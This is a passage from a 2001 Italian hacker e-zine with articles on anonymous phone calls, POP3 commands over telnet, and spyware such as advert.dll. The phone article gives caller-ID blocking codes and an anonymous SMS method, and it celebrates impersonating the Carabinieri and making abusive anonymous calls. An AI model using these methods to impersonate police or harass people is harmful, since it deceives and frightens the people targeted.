| finestra, in basso c'\'e8 un pulsante con scritto configura, clickaci, a questo  |\
| punto si apre una seconda finestra, in alto al centro c'\'e8 Connessione,        |\
| clicka li, poi nella schermata che viene in basso c'\'e8 un pulsante: Avanzate.  |\
| Si aprir\'e0 una terza finestra. Al centro c'\'e8 "Altre impostazioni", incolla     |\
| dentro questa stringa: ATS2=255.                                              |\
|                                                                               |\
| Questo e' il mio primo articolo per una e-zine, spero ti sia piaciuto =)      |\
| Per critiche, approfondimenti, o quello che ti pare scrivimi a:               |\
| solid.snake@email.it                                                          |\
| Hi, snake_                                                                    |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [MiSC]                                          #04 - 19/11/2001 |\
| TELEF0NARE iN M0D0 AN0NiM0                            [Screener_it] 0x11/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Titolo: come fare chiamate anonime da fisso, cellulare, cabina.               |\
| Autore: Screener_it                                                           |\
| email: screener_it@freemail.it                                                |\
| web site: http://go.to/tankcommandos                                          |\
|                                                                               |\
| Ogni riferimento a cose, fatti, persone, avvenimenti, sono frutto di          |\
| pura fantasia.                                                                |\
| Il testo deve intendersi a scopo esclusivamente informativo (io non           |\
| vi invito a fare cazzate.. Anzi !!)                                           |\
|                                                                               |\
| /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\        |\
| ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++        |\
| \\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/        |\
|                                                                               |\
| Oggi parleremo di chiamate anonime amici !!!                                  |\
| Chi di voi non ha mai fatto scherzi telefonici ? Sono divertenti, fanno       |\
| crepare dal ridere e se fatte bene sono qualcosa di unico..                   |\
| Tanto per farvi un esempio, un paio di settimane fa ero a casa mia che        |\
| guardavo                                                                      |\
| insieme a un po' di miei amici (20 persone !!) la partita Inter - Juve.       |\
| Lasciamo stare la partita, di quella non voglio parlare.                      |\
| Dicevamo, stavamo guardando la partita e nell'intervallo ci \'e8 venuta un'idea  |\
| !!                                                                            |\
| Chiamare a casa di un nostro amico [che chiameremo C.] (a cui i carabinieri   |\
| avevano messo in fermo amministrativo l'Ape) e fargli un bello scherzo.       |\
| Per\'f2 bisogna restare seri e tranquilli. Quindi lo faccio io.                  |\
| Prendo il cellulare e chiamo casa di questo povero pirla.                     |\
| Ecco la chiamata: (le * sono messe per la privacy)                            |\
| P.= padre del C.                                                              |\
| S.= Screener_it                                                               |\
|                                                                               |\
| P.: Pronto ?                                                                  |\
| S.: Pronto ? Famiglia *** ?                                                   |\
| P.: S\'ec, chi parla ?                                                           |\
| S.: E' la caserma dei carabinieri di ****. Posso parlare con il signor C.  ?  |\
| P.: No, adesso non c'\'e8. Ci sono problemi per caso ?                           |\
| S.: S\'ec, a dir la verit\'e0 un problema c'\'e8. Qui mi risulta che il suo mezzo, mi  |\
| pare sia [adesso rumore di fogli per fare finta che stai rovistando nei       |\
| documenti] un'Ape \'e8 stata messa in fermo amministrativo. Sbaglio ?            |\
| P.: No, no, ha ragione.                                                       |\
| S.: E mi risulta che lei ha firmato per tenere il mezzo suddetto presso la    |\
| vostra abitazione. E' esatto ? Se mi sbaglio mi corregga pure.                |\
| P.: No, no, \'e8 tutto giusto.                                                   |\
| S.: Bene, ci risulta che oggi l'Ape \'e8 stata vista girare per il paese con 2   |\
| persone a bordo.                                                              |\
| P.: No, \'e8 impossibile. L'Ape \'e8 sempre restata qua a casa !!!                  |\
| S.: Il numero di targa \'e8 44WWW  ? (al posto di 44WWW mettete la targa vera).  |\
| P.: S\'ec.                                                                       |\
| S.: Senta, non mi prenda in giro !! E' sicuro che l'Ape non si sia mossa ?    |\
| P.: Certo, certo. Almeno.. Cio\'e8 io non l'ho tenuta sotto controllo del        |\
| tutto.. Forse il ragazzo..                                                    |\
| S.: Calmo, calmo. Forse ci stiamo sbagliando noi. Controller\'f2 di nuovo e la   |\
| richiamer\'f2 pi\'f9 tardi per eventuali aggiornamenti, va bene ?                   |\
| P.: S\'ec, grazie, grazie davvero. Guardi, appena torna il C. gli faccio un      |\
| culo se ha usato l'Ape..                                                      |\
| S.: Forse non serve usare la violenza, vedremo di risolvere la questione. Le  |\
| ricordo comunque che in caso chi risponde penalmente \'e8 lei !! Arrivederci !!  |\
|                                                                               |\
| Tutti in giro a me erano per terra a ridere a crepapelle, ma io ero riuscito  |\
| a mantenere la calma. Basta che facciate una voce seria e impostata. Non      |\
| tentate di modificarla, vi beccherebbero subito. Calma e sangue freddo e      |\
| tutto filer\'e0 per il verso giusto.                                             |\
| Dopo ho fatto un'altra chiamata al padre dicendo che era tutto uno scherzo,   |\
| altrimenti quello il C. lo pestava a sangue.                                  |\
|                                                                               |\
| Dicevamo delle telefonate anonime. Se facevo uno scherzo del genere e chi     |\
| riceveva la telefonata aveva il temuto "Chi \'e9" della Telecom si trovava con   |\
| il mio bel numero e rischiavo di trovarmi il padre di questo qui a casa con   |\
| una spranga e (nella peggiore delle ipotesi) una denuncia per essermi         |\
| spacciato per un carabiniere.                                                 |\
|                                                                               |\
| Come fare allora a fare scherzi telefonici senza essere beccati ? Semplice,   |\
| basta anonimizzare la chiamata.                                               |\
| I metodi si differenziano se usate un telefono fisso (tipo quello di casa),   |\
| il cellulare ,una cabina telefonica o gli SMS                                 |\
|                                                                               |\
| /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\        |\
| 1.- Telefono fisso                                                            |\
| \\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/        |\
|                                                                               |\
| L'ho scoperto di recente.. Cmq funziona alla stragrande.                      |\
| Cominciamo che il sistema "manuale" \'e8 gratuito. Che \'e8 gi\'e0 un bel dire.        |\
| Comunque basta anteporre al numero da chiamare *67# oppure 1793.              |\
| Come oppure ? Funzionano entrambi, li ho messi entrambi perch\'e8 non tutti i    |\
| telefoni (tipo il mio cordless vecchio preistorico) accettano come primo      |\
| numero la *.                                                                  |\
| Un altro motivo \'e8 che se volete chiamare il vostro provider non potete        |\
| anteporre *67#, perch\'e8 il computer non li riconosce. Anteponete 1793.         |\
| Per chi non avesse capito il funzionamento:                                   |\
| mettiamo per esempio che vogliate chiamare il numero 02 123456 (numero a      |\
| caso).                                                                        |\
| Se volete fare in modo che non appaia il vostro numero basta digitare         |\
| *67#0212345                                                                   |\
| Capito adesso ?                                                               |\
| Questo sistema si chiama (testualmente) Blocco Identificativo del Chiamante   |\
| (sigla BIC).                                                                  |\
| Anteporre per\'f2 ogni volta il *67# \'e8 per\'f2 un po' pesante se si vuole usare     |\
| sempre.                                                                       |\
| Potete (a pagamento) avere il BIC permanente, cos\'ec facendo TUTTE le chiamate  |\
| in uscita dal vostro telefono di rete fissa saranno anonime. Per avere il     |\
| BIC permanete dovete fare richiesta per iscritto alla Telecom (per maggiori   |\
| informazioni telefonate a quelle belle troie del 187).                        |\
|                                                                               |\
| NOTIZIA PURAMENTE TEORICA: quando scrivo adesso \'e8 solo una mia pazza idea..   |\
| Vi siete accorti che adesso sulle bollette appaiono anche il numero di        |\
| chiamate fatte in rete urbana, extraurbana, verso mobili, ecc.. (se c'era     |\
| anche prima non so, me ne sono accorto adesso, dopo che i miei mi hanno       |\
| sbattutto in faccia la bolletta !!).                                          |\
| Ora.. Dato che mi sono trovato la ragazza (ciao Marina !!)[e l'ho gi\'e0 persa,  |\
| se \'e8 per quello !!] e che la chiamo praticamente tutti i giorni sul           |\
| cellulare per min. 15 minuti quando arriva la bolletta e i miei vedono 40     |\
| telefonate a mobile mi fanno il culo !! (o lo fanno a mia sorella, che \'e8      |\
| meglio !!).                                                                   |\
| Non \'e8 che magari con quel *67# sulla bolletta non risulta che \'e8 una chiamata  |\
| al cellulare, ma che \'e8 una semplice urbana ? Chi ha notizie in merito mi      |\
| mandi una mail !!!                                                            |\
|                                                                               |\
| /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\        |\
| 2.- Telefono cellulare                                                        |\
| \\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/        |\
|                                                                               |\
| Questo sistema invece \'e8 vecchio come il mondo. (meglio, vecchio come la       |\
| diffusione del cellulare o quasi.)                                            |\
| L'Italia (notizia di pochi giorni fa) \'e8 tra i paesi con la pi\'f9 alta presenza  |\
| in percentuale di cellulari.                                                  |\
| Praticamente tutti ce l'hanno (se l'\'e8 comprato pure la mia nonnina !!).       |\
| E volete farmi credere che non fate mai scherzi (dal classico squillo alle    |\
| minacce di morte via SMS).                                                    |\
| Qui per\'f2 la faccenda \'e8 pi\'f9 seria. Infatti TUTTI i cellulari hanno gi\'e0 in s\'e8   |\
| l'identificativo del chiamante. In questo modo appena voi chiamate sul        |\
| display (che bella 'sta parola !!) del telefonino appare il vostro bel        |\
| numero.                                                                       |\
| Un po' scocciante non vi pare ? Ma c'\'e8 rimedio a tutto !!! Per i cellulari    |\
| infatti cambiando i codici da anteporre al numero, ma l'essenza resta quella  |\
| !!!                                                                           |\
| Basta mettere davanti al numero il famoso #31# e il gioco \'e8 fatto.            |\
| Esempio (x i pi\'f9 celebrolesi):                                                |\
| Volete chiamare lo 0338 1111111 ma volete restare anonimi ? Digitate          |\
| #31#03381111111 e il telefonino che riceve la chiamata al posto del vostro    |\
| numero scriver\'e0 "Anonimo" o "Numero privato" !!! STUPENDO !!!                 |\
|                                                                               |\
| /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\        |\
| 3.- Cabine telefoniche                                                        |\
| \\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/        |\
|                                                                               |\
| Scrivo questa parte solo per un paio di miei amici, che sono furbi come..     |\
| V\'e0, non dico quanto sono furbi xch\'e8 se no mi sbattono fuori dalla compagnia   |\
| (e dopo con chi faccio la "bala" ?)                                           |\
| Allora, era inverno, gennaio ed era il giorno della festa del mio             |\
| compleanno. Faccio la festa a casa mia. I miei non c'erano, quindi l'alcool   |\
| girava come fosse acqua. A mezzanotte eravamo tutti ubriachi.                 |\
| Uno dei miei amici (che x rispetto alla privacy chiameremo R.) era insieme a  |\
| Ch.                                                                           |\
| A un certo punto della serata si mollano, xch\'e8 lei gli aveva fatto i corni.   |\
| Tralasciamo il fatto che lui ha tentato di pestarla, sorvoliamo sul fatto     |\
| che lui le abbia tirato il portafoglio urlando:"Le troie le va pagade.. To'   |\
| stronza !! E adesso deme la bira che devo purificarme !!"                     |\
| Vabb\'e8, come dicevo sorvoliamo.                                                |\
| Alla fine della festa vanno tutti a casa, io vado a dormire dai miei zii (i   |\
| miei non c'erano e dovevo stare a dormire da loro). Dall'ubriaco che ero mi   |\
| butto vestito  sul letto, non spengo nemmeno il cellulare e mi addormento.    |\
| Questi miei amici intanto vanno a una cabina telefonica e cominciano          |\
| (all'una di notte !!!!) a chiamare a casa di Ch.                              |\
| Uno le grida dentro "troia", l'altro "dona del comun", un altro (dato che     |\
| aveva risposto il padre) urla "To fiola l'\'e8 'na pompinara !!".                |\
| Intanto C. continua a scrivermi SMS sul cellulare chiedendo chi era che       |\
| chiamava e se lo sapevo dovevo dirgli di smetterla, altrimenti suo padre..    |\
| Purtroppo io non ero in condizione n\'e8 di sentire il cellulare che squillava,  |\
| n\'e8 di rispondere agli SMS.                                                    |\
| Il giorno dopo effettivamente il padre di Ch. ci cercava (con la spranga      |\
| !!!!!!) per "chiarire le idee" a chi era stato a fare lo scherzo. Gli scemi   |\
| confessano tutto e tentano di farsi scusare. Il padre (che \'e8 un bel           |\
| bestione, avverto tutti !!) per fortuna li scusa..                            |\
|                                                                               |\
| Ma perch\'e8 vi ho raccontanto tutta 'sta storia ? Per farvi un esempio di come  |\
| farla pagare a chi vi f\'e0 le corna ? No, per un altro motivo.                  |\
| Questi miei amici sono stati scemi perch\'e8 TUTTE LE CHIAMATE EFFETTUATE DA     |\
| UNA CABINA TELEFONICA RISULTANO ANONIME, pertanto nessuno poteva risalire a   |\
| loro.. Almeno con i mezzi tradizionali.                                       |\
| Potevano tranquillamente dire che non erano stati loro e nessuno poteva dire  |\
| niente !!!                                                                    |\
| Avete capito quindi ? Se chiamate da una cabina telefonica chi riceve la      |\
| telefonata si trover\'e0 davanti a un numero ANONIMO !!!                         |\
|                                                                               |\
| /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\        |\
| 4.- SMS                                                                       |\
| \\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/        |\
|                                                                               |\
| Allora.. Gli SMS anonimi potete mandarli cos\'ec: o via internet con uno dei     |\
| tanti siti che offrono questo servizio (occhio che questi siti stanno         |\
| diminuendo !!) oppure grazie a zed.it...                                      |\
|                                                                               |\
| Non sapete cos'\'e8 zed.it ?? In pratica \'e8 un servizio che vi permette di        |\
| mandare SMS anonimi pagando 250 L. + Iva per ogni messaggio (300 L. a         |\
| messaggio.. Non \'e8 proprio gratis ma..), cio\'e8 100 L. in pi\'f9 del normale..      |\
|                                                                               |\
| Come funziona ? Potrei rimandarvi a Zed.it, invece ve lo spiego. Il           |\
| messaggio tipo \'e8 questo:                                                      |\
| "ANON numerodestinatario messaggio", poi cliccate "Invia" o quello che        |\
| preferite e inoltrate il messaggio al 44933.. Il messaggio arriver\'e0 in forma  |\
| anonima al destinatario.                                                      |\
|                                                                               |\
| Esempio pratico: voglio scrivere a 333 3344555 che \'e8 una testa di cazzo..     |\
| Ecco cosa scrivo sul cell:                                                    |\
| "ANON 3333344555 sei una testa di cazzo" (senza virgolette ovviamente) e lo   |\
| spedisco al 44933.. Al 333 3344555 arriver\'e0 un msg anonimo con scritto "sei   |\
| una testa di cazzo"                                                           |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [MiSC]                                          #04 - 19/11/2001 |\
| P0P3                                                     [mR_bIs0n] 0x12/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Titolo: Leggere le mail da telnet, ovveri i comandi POP3 spiegati e           |\
|         commentati                                                            |\
| Autore: mR_bIs0n                                                              |\
| Musica ascoltata: Alien Ant Farm - Smooth Criminal                            |\
|                   Dickies - Killer Klown From Outer Space                     |\
|                   Ramones e NoFx varii                                        |\
| Consumo: ora vedo che c'\'e8 da mangiare... NULLA!                               |\
| Saluti a: tutti li amici di chat (troppi), li amici di classe, a tutti        |\
| li punk del mondo, a Francesca                                                |\
| Fucks to: Preside Prof. Basile Vittorio, un grande pezzo di merda             |\
|                                                                               |\
| Possiamo inizi\'e0                                                               |\
|                                                                               |\
| Bellaaa ragazzi oggi sto a casa ammalato e vi spiego come fare a leggere le   |\
| mail da remoto, tramite il telnet e i comandi POP3.                           |\
| Innanzitutto spieghiamo cos'\'e8 il POP3 (Post Office Protocol): sarebbe il      |\
| protocollo che consente agli utenti di accedere alle caselle di posta e di    |\
| recuperare le e-mails.                                                        |\
|                                                                               |\
| Di solito la porta utilizzata dal server POP3 \'e8 la 110. Quando ci             |\
| colleghiamo col telnet al                                                     |\
| server e alla porta 110 stabiliamo una connessione con esso e il server ci    |\
| saluta pure!                                                                  |\
|                                                                               |\
| telnet popmail.libero.it:110                                                  |\
|                                                                               |\
| +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E       |\
| B63336A@pop2.libero.it>                                                       |\
|                                                                               |\
| Ricordiamoci che i comandi solitamente sono seguiti da parametri da noi       |\
| scelti.                                                                       |\
| Esistono due indicatori di stato: +OK (positivo) e -ERR (negativo).           |\
|                                                                               |\
| Una volta collegati, dopo che il server si \'e8 presentato, si entra nella       |\
| sezionedetta 'AUTHORIZATION'. In questo momento il server si deve             |\
| identificare l'utenza. Solo una volta che il server ha riconosciuto           |\
| l'utente, possiamo passare nella sezione detta 'TRANSACTION'. In questa       |\
| sezione si pu\'f2 interagire e fare le proprie scelte. Dopodicch\'e8, quando ci     |\
| disconnettiamo dal server, quest'ultimo entra nella sezione detta 'UPDATE',   |\
| e cio\'e8 aggiorna i nostri cambiamenti e infine ci saluta.                      |\
|                                                                               |\
| Mi sa' che il server aspetta 10 minuti prima di disconnettere se ancora non   |\
| vi siete identificati.                                                        |\
|                                                                               |\
| Ma passiamo alla pratica. Esistono due metodi di identificazione, il          |\
| classico e quello tipo 'APOP'. Vi spiego solo il primo (pi\'f9 semplice).        |\
|                                                                               |\
| telnet popmail.libero.it:110                                                  |\
|                                                                               |\
| +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E       |\
| B63336A@pop2.libero.it>                                                       |\
|                                                                               |\
| ...siamo connessi...                                                          |\
| ora inseriamo il nostro user e la nostra pass:                                |\
|                                                                               |\
| user sono_gay@libero.it                                                       |\
| +OK Password required                                                         |\
| pass menevanto                                                                |\
| +OK 88 messages                                                               |\
| (l'esempio non \'e8 autobiografico!)                                             |\
|                                                                               |\
| in questo caso tutto \'e8 andato bene, ci ha accettati e ci ha detto quanti      |\
| messaggi contiene la mailbox, 88 appunto.                                     |\
|                                                                               |\
| Se qualcosa va storto...                                                      |\
|                                                                               |\
| -ERR invalid user or password                                                 |\
|                                                                               |\
| ritentate, scrivete con calma senza fare errori o correzioni!                 |\
|                                                                               |\
| Abbiamo passato lo stato di AUTHORIZATION e ora ci troviamo in TRANSACTION.   |\
| Bene ora passiamo ai comandi:                                                 |\
|                                                                               |\
| stat                                                                          |\
| +OK 88 878599                                                                 |\
|                                                                               |\
| Col comando STAT ci facciamo dire quanti messaggi di posta ci sono e quant'\'e8  |\
| la grandezza di tutti essi.                                                   |\
|                                                                               |\
| list                                                                          |\
| +OK                                                                           |\
| 1 1647467                                                                     |\
| 2 2458881                                                                     |\
| 3 3256                                                                        |\
| ...                                                                           |\
| 88 354235                                                                     |\
|                                                                               |\
| con questo comando possiamo vedere la lista dei messaggi contenuti nella      |\
| mail box e tutti corrispondono ad un numero.                                  |\
|                                                                               |\
| list 4                                                                        |\
| +OK                                                                           |\
| 4 534553                                                                      |\
|                                                                               |\
| cos\'ec vediamo solo una mail.                                                   |\
|                                                                               |\
| retr 3                                                                        |\
| +OK 3256 bytes                                                                |\
| Return-Path: <mortacci@tua.it>                                                |\
| Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042)   |\
|         id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200                  |\
| Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it        |\
| (6.0.021)                                                                     |\
|         id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200                  |\
| Received: (from majordomo@localhost)                                          |\
|         by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976                |\
|         for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200                  |\
|                                                                               |\
| [...] (tante altre coseeeee)                                                  |\
|                                                                               |\
| possiamo leggere il contenuto delle mail, sconsiglio di usarlo, al massimo    |\
| settate il buffer del                                                         |\
| vostro client telnet molto alto, in modo da poterle leggere.                  |\
|                                                                               |\
| dele 34                                                                       |\
| +OK message marked for deletion                                               |\
|                                                                               |\
| in questo modo marchiamo la mail che deve essere cancellata, dopo il quit,    |\
| verr\'e0 eliminata.                                                              |\
|                                                                               |\
| noop                                                                          |\
| +OK                                                                           |\
|                                                                               |\
| ignoro l'utilizzo di questo comando, mi sono documentato e non dice nulla.    |\
| Forse potrebbe servire a controllare se il server, magari tra una operazione  |\
| e un'altra, \'e8 ancora attivo.                                                  |\
|                                                                               |\
| rset                                                                          |\
| +OK                                                                           |\
|                                                                               |\
| se abbiamo marcato dei messaggi per essere eliminati, facendo questo          |\
| comando, annulliamo ogni marcatura.                                           |\
|                                                                               |\
| quit                                                                          |\
| +OK POP3 server closing connection                                            |\
|                                                                               |\
| quittando il server esegue tutti gli ordini impostati prima.                  |\
|                                                                               |\
| top 3 10                                                                      |\
| +OK 3256 bytes                                                                |\
| Return-Path: <mortacci@tua.it>                                                |\
| Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042)   |\
|         id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200                  |\
| Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it        |\
| (6.0.021)                                                                     |\
|         id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200                  |\
| Received: (from majordomo@localhost)                                          |\
|         by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976                |\
|         for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200                  |\
|                                                                               |\
| [...] (solito header completo)                                                |\
|                                                                               |\
| (+ le prime 10 righe del messaggio)                                           |\
|                                                                               |\
| molto utile, in questo modo leggiamo le prime righe dei messaggi, cos\'ec da     |\
| capire se magari possiamo cancellarle o meno.                                 |\
|                                                                               |\
| Esiste anche il comando UIDL, ma \'e8 anche difficile, quindi lasciamo perdere   |\
| anche questo (a dirla tutta, nemmeno io l'ho capito bene bene...).            |\
|                                                                               |\
| Ricapitolando:                                                                |\
|                                                                               |\
| Comandi validi nello stato AUTHORIZATION                                      |\
|          USER username                                                        |\
|          PASS password                                                        |\
|          QUIT                                                                 |\
|                                                                               |\
| Comandi validi nello stato TRANSACTION                                        |\
|          STAT                                                                 |\
|          LIST [numero del messaggio]                                          |\
|          TOP [numero del messaggio] [fino alla riga]                          |\
|          RETR [numero del messaggio]                                          |\
|          DELE [numero del messaggio]                                          |\
|          NOOP                                                                 |\
|          RSET                                                                 |\
|          QUIT                                                                 |\
|                                                                               |\
| Oki, per ora \'e8 tutto, forse ci saranno altri miei arts, ci si bekka!          |\
| mR_bIs0n                                                                      |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [MiSC]                                          #04 - 19/11/2001 |\
| SPYWARE AT ALL                                   [MightyInquisitor] 0x13/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Titolo: SPYWARE AT ALL                                                        |\
| Autore: MightyInquisitor                                                      |\
| Home-page: www.mightyinquisitor.cjb.net                                       |\
| E-mail: mightyinquisitor@mightyinquisitor.cjb.net                             |\
| Irc: irc.azzurranet.org - canali: #hackmaniaci                                |\
|                                                                               |\
|                                                                               |\
| DiSCLAiMER_LEGALi                                                             |\
| QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0' L'AUTORE,         |\
| MightyInquisitor,                                                             |\
| DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0 CHE POTREBBE ESSERNE FATT0. L'AUTORE,   |\
| DUNQUE, NON iNC0RAGGiA CHi VOLESSE SERViRSENE PER SC0Pi iLLEGALi.             |\
|                                                                               |\
|                                                                               |\
| cat Index.txt                                                                 |\
| -----------------------------------                                           |\
| /Index.txt                                                                    |\
| /Intro.txt                                                                    |\
| /Cos_e'_uno_spyware.txt                                                       |\
| /Come_agisce_advert.dll.txt                                                   |\
| /Le_forme_del_file_spia.txt                                                   |\
| /La_forma_tecnica_del_file_spia.txt                                           |\
| /Come_rimuovere_i_file_spia.txt                                               |\
| /Bugs_degli_spyware.txt                                                       |\
| /Saluti.txt                                                                   |\
| -----------------------------------                                           |\
|                                                                               |\
|                                                                               |\
| cat Intro.txt                                                                 |\
| ----------------------------------------------------------------------------- |\
| Eccomi qua a scrivere un nuovo articolo dopo una lunga e bellissima vacanza   |\
| all'estero                                                                    |\
| durata oltre un mese e mezzo! Vi sono mancato? Beh, spero di si, ma come      |\
| vedete non mi                                                                 |\
| dimentico di certo dei miei lettori e si vede... ;-)                          |\
| Allora, in questo testo vi parler\'f2 di spyware, tranquilli, se non sapete      |\
| cosa sono lo                                                                  |\
| scoprirete inoltrandovi nella lettura, io non do, quasi, mai nulla per        |\
| scontato.                                                                     |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| cat Cos_e'_uno_spyware.txt                                                    |\
| ----------------------------------------------------------------------------- |\
| Uno dei tantissimi e clamorosissimi problemi di winzoz sono gli spyware.      |\
| Lo spyware \'e8 uno spy-ware ovvero un 'programma spia' la cui funzione \'e8        |\
| spiare; alcuni usano                                                          |\
| il termine scientifico "studiare", tutto quello che l'utente fa nel suo       |\
| computer.                                                                     |\
|                                                                               |\
| Molto probabilmente ora vi starete chiedendo:                                 |\
| A. Ma se uno spyware ha il compito di spiare, perch\'e8 mai andr\'f2 ad             |\
| installarmelo?                                                                |\
| B. Ok, ho capito che spia, ma le informazioni spiate, che fine fanno?         |\
|                                                                               |\
| Ecco su un piatto d'argento le risposte:                                      |\
| Diciamo che gli spyware si auto-installano sulla vostra macchina durante la   |\
| fase di                                                                       |\
| installazione di altri programmi (shareware o freeware) che potete            |\
| "liberamente" scaricare                                                       |\
| dalla rete.                                                                   |\
| Le software-house che producono programmi su larga scala (vedi la             |\
| Macromedia) non fanno                                                         |\
| altro che programmare il programma di installazione del software scaricato    |\
| per installare                                                                |\
| in contemporanea un secondo software (spyware) che va ad inserirsi tra le     |\
| dll (librerie di                                                              |\
| sistema) che si avvia in background ad ogni avvio del sistema e "controlla"   |\
| ogni vostra                                                                   |\
| mossa con lo scopo di mandare tutte le informazioni recepite all'azienda      |\
| stessa non appena                                                             |\
| vi collegate alla rete. Tutto questo procedimento avviene sempre in           |\
| background senza nemmeno                                                      |\
| tener conto di voi e della vostra privacy.                                    |\
| In Diritto, mia amata materia, questa si chiama: ViOLAZiONE DELLA PRiVACY,    |\
| ma le aziende se                                                              |\
| ne sbattono altamente, in fondo a loro interessa tenere sott'occhio le mosse  |\
| dei loro                                                                      |\
| clienti e finch\'e8 il garante della privacy in italia non muove un dito per     |\
| mettere fine a                                                                |\
| questa enorme ingiustizia nei confronti degli onesti (forse) cittadini        |\
| italiani quali siamo                                                          |\
| le cose rimarrano cos\'ec e noi continueremo ad essere spiati. Questo si chiama  |\
| anche                                                                         |\
| SPiONAGGiO iNDUSTRiALE SUL CONSUMATORE ed \'e8 un reato gravissimo secondo le    |\
| leggi italiane ed                                                             |\
| europee.                                                                      |\
|                                                                               |\
| Nota: il "file spia" pi\'f9 comunemente diffuso dalle grandi software-house si   |\
| chiama:                                                                       |\
| 'advert.dll' ed \'e8 sicuramente il pi\'f9 potente fra tutti i file della sua       |\
| categoria su                                                                  |\
| piattaforma winzoz.                                                           |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| cat Come_agisce_advert.dll.txt                                                |\
| ----------------------------------------------------------------------------- |\
| Quando ci si collega alla rete, il file spia si avvia in automatico in        |\
| background creando                                                            |\
| una finestra invisibile sul desktop, che si mette normalmente in              |\
| comunicazione con il                                                          |\
| server dell'azienda proprietaria e inizia ad inviarle una serie di dati tra   |\
| i quali:                                                                      |\
|                                                                               |\
| - il nome dell'utente                                                         |\
| - il suo Ip                                                                   |\
| - la lista dei programmi installati sul computer                              |\
| - la lista di tutto quello che si \'e8 scaricato dalla rete                      |\
| - i siti e i banner visitati durante la navigazione                           |\
| - la password con la quale ci si connette                                     |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| cat Le_forme_del_file_spia.txt                                                |\
| ----------------------------------------------------------------------------- |\
| Se fosse "solo" questo sarebbe una favola, ma non \'e8 cos\'ec, eheh, proprio no,   |\
| i programmatori                                                               |\
| delle grandi multinazionali di software sono pagati per scrivere dei buoni    |\
| spyware, mica per                                                             |\
| lavorare legalmente, cosa credevate voi onesti cittadini?                     |\
|                                                                               |\
| Prima cosa da tenere conto \'e8 che il potentissimo advert.dll avvolte si        |\
| installa nel sistema                                                          |\
| anche con il nome di 'amcis.dll' e 'amcis2.dll'.                              |\
| Questo lusso finora per\'f2 se lo sono potute permettere, tra le altre, quattro  |\
| grosse aziende:                                                               |\
| Aureate/Radiate, Conducent/Timesynch, Comet Cursor e BinaryBliss.             |\
| Tra i software che contengono 'advert.dll' (nelle sue diverse "forme" che     |\
| presto illuster\'f2)                                                             |\
| ci sono: CUTEFTP, GETRIGHT, GOZILLA, DIALLER2000, FLASHGET, NETZIP e          |\
| DOWNLOAD ACCELERATOR.                                                         |\
| Insomma, alcuni tra i tanti programmi pi\'f9 amati dagli utenti winzoz.          |\
| E c'\'e8 dell'altro:                                                             |\
| Oltre a potersi auto-installare, sempre a nostra insaputa, col nome di        |\
| 'advert.dll',                                                                 |\
